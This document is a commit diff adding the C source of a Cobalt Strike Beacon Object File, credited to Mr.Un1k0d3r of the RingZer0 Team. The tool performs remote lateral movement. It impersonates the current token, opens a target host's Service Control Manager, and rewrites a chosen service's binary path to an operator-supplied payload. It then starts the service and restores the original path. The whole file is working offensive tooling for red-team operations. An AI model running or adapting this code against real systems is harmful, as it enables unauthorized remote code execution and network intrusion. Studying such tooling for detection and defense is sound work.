|
| 1 | +// Author: Mr.Un1k0d3r RingZer0 Team |
| 2 | + |
| 3 | +#include <Windows.h> |
| 4 | +#include <stdio.h> |
| 5 | +#include "beacon.h" |
| 6 | + |
| 7 | +#define LOGON32_LOGON_NEW_CREDENTIALS 9 |
| 8 | + |
| 9 | +DECLSPEC_IMPORT VOID WINAPI kernel32$ExitProcess(UINT); |
| 10 | +DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE, DWORD, PHANDLE); |
| 11 | +DECLSPEC_IMPORT BOOL WINAPI Advapi32$ImpersonateLoggedOnUser(HANDLE); |
| 12 | +DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD); |
| 13 | +DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD); |
| 14 | +DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceConfigA(SC_HANDLE, LPQUERY_SERVICE_CONFIGA, DWORD, LPDWORD); |
| 15 | +DECLSPEC_IMPORT HGLOBAL WINAPI kernel32$GlobalAlloc(UINT, SIZE_T); |
| 16 | +DECLSPEC_IMPORT BOOL WINAPI Advapi32$ChangeServiceConfigA(SC_HANDLE, DWORD, DWORD, DWORD, LPCSTR, LPCSTR, LPDWORD, LPCSTR, LPCSTR, LPCSTR, LPCSTR); |
| 17 | +DECLSPEC_IMPORT BOOL WINAPI Advapi32$StartServiceA(SC_HANDLE,DWORD, LPCSTR*); |
| 18 | +DECLSPEC_IMPORT DWORD WINAPI kernel32$GetLastError(); |
| 19 | +DECLSPEC_IMPORT HANDLE WINAPI kernel32$GetCurrentProcess(); |
| 20 | + |
| 21 | +void go(char * args, int length) |
| 22 | + { |
| 23 | + // Parse Beacon Arguments |
| 24 | + datap parser; |
| 25 | + CHAR * targetHost; |
| 26 | + CHAR * serviceName; |
| 27 | + CHAR * payload; |
| 28 | + |
| 29 | + BeaconDataParse(&parser, args, length); |
| 30 | + targetHost = BeaconDataExtract(&parser, NULL); |
| 31 | + serviceName = BeaconDataExtract(&parser, NULL); |
| 32 | + payload = BeaconDataExtract(&parser, NULL); |
| 33 | + |
| 34 | + LPQUERY_SERVICE_CONFIGA lpqsc = NULL; |
| 35 | + DWORD dwLpqscSize = 0; |
| 36 | + CHAR* originalBinaryPath = NULL; |
| 37 | + BOOL bResult = FALSE; |
| 38 | + |
| 39 | + BeaconPrintf(CALLBACK_OUTPUT, "Trying to connect to %s\n", targetHost); |
| 40 | + |
| 41 | + HANDLE hToken = NULL; |
| 42 | + |
| 43 | + BeaconPrintf(CALLBACK_OUTPUT, "Using current process context for authentication. (Pass the hash)\n"); |
| 44 | + if(!Advapi32$OpenProcessToken(kernel32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { |
| 45 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenProcessToken failed %ld\n", kernel32$GetLastError()); |
| 46 | + kernel32$ExitProcess(0); |
| 47 | + } |
| 48 | + |
| 49 | + bResult = FALSE; |
| 50 | + bResult = Advapi32$ImpersonateLoggedOnUser(hToken); |
| 51 | + if(!bResult) { |
| 52 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ImpersonateLoggedOnUser failed %ld\n", kernel32$GetLastError()); |
| 53 | + kernel32$ExitProcess(0); |
| 54 | + } |
| 55 | + |
| 56 | + SC_HANDLE schManager = Advapi32$OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); |
| 57 | + if(schManager == NULL) { |
| 58 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenSCManagerA failed %ld\n", kernel32$GetLastError()); |
| 59 | + kernel32$ExitProcess(0); |
| 60 | + } |
| 61 | + BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Manager 0x%p\n", schManager); |
| 62 | + |
| 63 | + BeaconPrintf(CALLBACK_OUTPUT, "Opening %s\n", serviceName); |
| 64 | + SC_HANDLE schService = Advapi32$OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); |
| 65 | + if(schService == NULL) { |
| 66 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenServiceA failed %ld\n", kernel32$GetLastError()); |
| 67 | + kernel32$ExitProcess(0); |
| 68 | + } |
| 69 | + BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Service 0x%p\n", schService); |
| 70 | + |
| 71 | + DWORD dwSize = 0; |
| 72 | + Advapi32$QueryServiceConfigA(schService, NULL, 0, &dwSize); |
| 73 | + if(dwSize) { |
| 74 | + // This part is not critical error will not stop the program |
| 75 | + dwLpqscSize = dwSize; |
| 76 | + BeaconPrintf(CALLBACK_OUTPUT, "LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize); |
| 77 | + lpqsc = kernel32$GlobalAlloc(GPTR, dwSize); |
| 78 | + bResult = FALSE; |
| 79 | + bResult = Advapi32$QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize); |
| 80 | + originalBinaryPath = lpqsc->lpBinaryPathName; |
| 81 | + BeaconPrintf(CALLBACK_OUTPUT, "Original service binary path \"%s\"\n", originalBinaryPath); |
| 82 | + } |
| 83 | + |
| 84 | + bResult = FALSE; |
| 85 | + bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); |
| 86 | + if(!bResult) { |
| 87 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to update the service path. %ld\n", kernel32$GetLastError()); |
| 88 | + kernel32$ExitProcess(0); |
| 89 | + } |
| 90 | + BeaconPrintf(CALLBACK_OUTPUT, "Service path was changed to \"%s\"\n", payload); |
| 91 | + |
| 92 | + bResult = FALSE; |
| 93 | + bResult = Advapi32$StartServiceA(schService, 0, NULL); |
| 94 | + DWORD dwResult = kernel32$GetLastError(); |
| 95 | + if(!bResult && dwResult != 1053) { |
| 96 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$StartServiceA failed to start the service. %ld\n", kernel32$GetLastError()); |
| 97 | + } else { |
| 98 | + BeaconPrintf(CALLBACK_OUTPUT, "Service was started\n"); |
| 99 | + } |
| 100 | + |
| 101 | + if(dwLpqscSize) { |
| 102 | + bResult = FALSE; |
| 103 | + bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL); |
| 104 | + if(!bResult) { |
| 105 | + BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to revert the service path. %ld\n", kernel32$GetLastError()); |
| 106 | + kernel32$ExitProcess(0); |
| 107 | + } |
| 108 | + BeaconPrintf(CALLBACK_OUTPUT, "Service path was restored to \"%s\"\n", originalBinaryPath); |
| 109 | + } |
| 110 | +} |
0 commit comments